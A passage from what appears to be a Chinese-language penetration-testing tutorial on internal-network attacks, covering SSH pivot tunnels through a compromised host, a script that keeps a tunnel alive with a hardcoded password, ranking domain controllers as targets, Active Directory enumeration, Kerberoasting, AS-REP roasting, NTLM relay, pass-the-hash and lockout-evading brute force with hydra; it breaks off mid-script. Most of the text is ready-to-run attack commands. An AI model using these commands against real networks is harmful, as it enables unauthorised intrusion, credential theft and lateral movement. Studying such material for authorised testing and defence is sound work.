    # 6. 基于发现结果的网段推断
    # 例如发现10.1.1.x和10.1.2.x的机器,推断两个不同子网

4. 隧道化技术应用

  • 隧道建立目的:将内部网络资源引出到外部控制环境

  • 稳定连接:确保隧道长时间稳定运行,避免频繁重连

  • 工具选择:根据环境限制选择合适的隧道技术

    拓展:高级隧道建立技术:

    # 1. 基本SSH本地端口转发
    ssh -L 8080:internal-server:80 user@compromised-host
    
    # 2. 使用SSH-Pass自动输入密码(避免交互)
    sshpass -p "password" ssh -L 8080:internal-server:80 user@compromised-host
    
    # 3. SSH动态SOCKS代理
    ssh -D 9050 user@compromised-host
    
    # 4. 多级转发(跳板机)
    ssh -L 8080:internal-server2:80 -J user1@host1 user2@host2
    
    # 5. 反向SSH隧道(从内网连接到外部)
    # 在内部服务器上执行:
    ssh -R 8080:localhost:80 user@external-server
    
    # 6. 自动重连脚本
    cat << 'EOF' > tunnel_keeper.sh
    #!/bin/bash
    while true; do
      if ! pgrep -f "ssh -D 9050" > /dev/null; then
        sshpass -p "password" ssh -D 9050 -o ServerAliveInterval=30 user@host &
      fi
      sleep 60
    done
    EOF
    chmod +x tunnel_keeper.sh

5. 优先级分析

  • 资产价值评估:识别高价值目标和关键系统

  • 攻击路径规划:确定从立足点到目标的可能路径

  • 风险分析:评估每个攻击路径的风险和成功率

    拓展:目标优先级评分系统:

    目标价值评分标准(1-5分,5为最高价值):

    1. 系统角色

      • 域控制器/关键认证服务器(5分)

      • 数据库/文件服务器(4分)

      • 应用服务器(3分)

      • 工作站(2分)

      • 非关键基础设施(1分)

    2. 网络位置

      • 跨网段核心系统(5分)

      • 网段间的桥接系统(4分)

      • 子网内重要系统(3分)

      • 普通网络系统(2分)

      • 边缘/隔离系统(1分)

    3. 业务影响

      • 业务核心系统(5分)

      • 重要支持系统(4分)

      • 常规业务系统(3分)

      • 辅助系统(2分)

      • 非业务系统(1分)

    攻击路径复杂度评分(1-5分,1为最简单):

    1. 技术复杂度

      • 需要高级0day(5分)

      • 需要高级技术组合(4分)

      • 需要特定漏洞利用(3分)

      • 需要常规技术(2分)

      • 简单漏洞利用(1分)

    2. 检测风险

      • 几乎肯定会被检测(5分)

      • 可能被检测(3-4分)

      • 较难被检测(1-2分)

    决策矩阵举例

    目标: 域控制器
    - 系统角色: 5分 (核心认证服务器)
    - 网络位置: 4分 (多网段访问)
    - 业务影响: 5分 (认证核心)
    - 总价值得分: 14/15
    
    攻击路径1: 通过工作站横向移动
    - 技术复杂度: 2分 (pass-the-hash)
    - 检测风险: 3分 (中等检测风险)
    - 总难度得分: 5/10
    
    攻击路径2: 直接攻击域控
    - 技术复杂度: 4分 (需要多种技术)
    - 检测风险: 5分 (高检测风险)
    - 总难度得分: 9/10
    
    决策: 选择攻击路径1 (高价值+较低难度)

6. 域信息枚举

  • 域结构分析:理解Active Directory的组织和信任关系

  • 用户和组枚举:识别关键用户、特权组和服务账户

  • 服务枚举:发现域内关键服务和应用

    拓展:域环境信息收集:

    初步域环境分析

    # 1. 基本域信息
    [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    
    # 2. 域控制器查找
    nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>
    
    # 3. 域用户枚举
    net user /domain
    
    # 4. 域管理员组成员
    net group "Domain Admins" /domain
    
    # 5. 当前域信任关系
    nltest /domain_trusts
    
    # 6. 查询域策略
    gpresult /r
    
    # 7. 域内查找SPN账户(Kerberoasting目标)
    setspn -T <domain> -Q */*
    
    # 8. PowerView基本用法(如果可以导入)
    Import-Module .\PowerView.ps1
    Get-DomainController
    Get-DomainUser -AdminCount
    Find-DomainUserLocation -Stealth

    LDAP查询技术

    # 使用ldapsearch工具(需提供域凭据)
    ​
    # 1. 枚举域用户
    ldapsearch -x -h <dc_ip> -D "user@domain.com" -w "password" -b "dc=domain,dc=com" "(&(objectClass=user)(objectCategory=person))"
    ​
    # 2. 查找域管理员
    ldapsearch -x -h <dc_ip> -D "user@domain.com" -w "password" -b "dc=domain,dc=com" "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com))"
    ​
    # 3. 查找服务账户
    ldapsearch -x -h <dc_ip> -D "user@domain.com" -w "password" -b "dc=domain,dc=com" "(&(objectClass=user)(servicePrincipalName=*))"

7. 域攻击准备

  • 攻击向量识别:基于域枚举结果识别可能的攻击路径

  • 权限需求:确定执行域攻击所需的最低权限

  • 工具准备:准备针对域环境的攻击工具

    拓展:常见域攻击向量:

    1. Kerberoasting:针对服务账户的票据破解

    # 使用PowerView
    Import-Module .\PowerView.ps1
    Request-SPNTicket -SPN "service/host" | Export-Csv .\tickets.csv
    ​
    # 使用Rubeus
    Rubeus.exe kerberoast /outfile:hashes.txt
    ​
    # 使用Impacket
    python GetUserSPNs.py domain.com/user:password -dc-ip 192.168.1.10 -request
    ​
    # 使用hashcat破解
    hashcat -m 13100 tickets.txt wordlist.txt
    1. AS-REP Roasting:针对未启用预认证的账户

    # 使用Rubeus
    Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
    ​
    # 使用Impacket
    python GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip 192.168.1.10
    ​
    # 破解哈希
    hashcat -m 18200 asrep.txt wordlist.txt
    1. NTLM中继/传递:重用凭据横向移动

    # 使用Impacket的ntlmrelayx
    python ntlmrelayx.py -tf targets.txt -smb2support
    ​
    # 使用CrackMapExec进行Pass-the-Hash
    crackmapexec smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

8. 爆破技术准备

  • 爆破目标选择:识别适合爆破的服务和接口

  • 字典准备:根据目标环境定制化爆破字典

  • 限速策略:避免触发账户锁定或防爆破机制

    拓展:智能爆破技术:

    针对性字典生成

    # 1. 基于公司信息生成字典
    cat << EOF > company_info.txt
    CompanyName
    FoundedYear
    ProductNames
    Locations
    EOF
    ​
    # 使用cupp根据基础信息生成字典
    python cupp.py -i
    ​
    # 2. 基于已知密码策略定制字典
    # 假设策略要求: 至少8位,大小写字母,数字,特殊字符
    ​
    # 使用hashcat规则扩展基础词表
    hashcat --stdout wordlist.txt -r custom.rule > enhanced_wordlist.txt
    ​
    # 自定义规则示例 custom.rule
    # 添加年份
    $2023
    $2024
    # 首字母大写加特殊字符
    c $!
    c $@

    智能爆破策略

    # 1. 低频爆破避免锁定
    hydra -l admin -P top10.txt -t 1 -W 3 -f -V 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:F=Failed"
    ​
    # 2. 分布式爆破(多IP源)
    # 在多台机器上运行,每台处理部分字典
    ​
    # 3. 服务特定爆破技术
    # SSH密钥爆破
    hydra -l root -P keys_list.txt 192.168.1.10 ssh-key
    ​
    # 4. 基于已知信息的定向爆破
    # 例如已知用户名,生成针对性密码列表
    username="johndoe"
    echo "${username}123" >> targeted_list.txt
    echo "${username}!" >> targeted_list.txt
    echo "Welcome1" >> targeted_list.txt  # 常见企业默认密码

十二、时间同步与敏感操作

1. 时钟同步问题

  • 域环境的时间要求:Kerberos依赖精确时间同步

  • 时间差异的影响:时间不同步会导致认证失败

  • 同步策略:确保本机与目标系统时间接近一致

    拓展:域环境中的时间同步问题:

    检查与修复时间同步

    # 1. 查看当前系统时间
    Get-Date
    ​
    # 2. 查看当前时间源
    w32tm /query /source
    ​
    # 3. 检查与域控制器的时间偏差
    w32tm /stripchart /computer:dc.domain.com /samples:5 /dataonly
    ​
    # 4. 手动同步时间
    w32tm /resync /computer:dc.domain.com
    ​
    # 5. 如果无法直接同步,手动设置时间
    Set-Date "2023-12-25 14:30:00"
    ​
    # 6. 在Linux系统上
    # 查看时间
    date
    ​
    # 设置时间
    sudo date -s "2023-12-25 14:30:00"
    ​
    # 与NTP服务器同步
    sudo ntpdate domain-controller

    Kerberos时间依赖

    # Kerberos协议标准要求:
    - 客户端与KDC(域控制器)之间的时间差异不超过5分钟
    - 超过此限制会导致Kerberos认证失败
    - 错误消息通常为"Clock skew too great"
    ​
    # Kerberos票据中的时间字段:
    - authtime: 认证时间
    - starttime: 票据有效起始时间
    - endtime: 票据过期时间
    - renew-till: 票据最长续订期限

2. 时间窗口操作

  • 限时攻击:某些攻击需要在特定时间窗口内完成

  • 验证码有效期:获取验证码后需要在短时间内使用

  • 会话令牌:临时令牌可能有严格的有效期限制

    拓展:时间敏感操作处理:

    自动化时间窗口脚本

    #!/bin/bash
    # 用于在特定时间窗口内执行操作的脚本
    ​
    # 1. 定义目标操作时间和窗口大小
    TARGET_TIME="14:00:00"
    WINDOW_SECONDS=120
    ​
    # 2. 计算目标时间戳
    TARGET_TS=$(date -d "today $TARGET_TIME" +%s)
    ​
    # 3. 当前时间戳
    CURRENT_TS=$(date +%s)
    ​
    # 4. 计算等待时间
    WAIT_TIME=$((TARGET_TS - CURRENT_TS))
    ​
    if [ $WAIT_TIME -gt 0 ]; then
      echo "等待目标时间窗口,还需 $WAIT_TIME 秒..."
      sleep $WAIT_TIME
    fi
    ​
    echo "开始执行时间敏感操作..."
    # 执行主要操作
    ./primary_attack.sh
    ​
    # 5.

-.-

0

评论区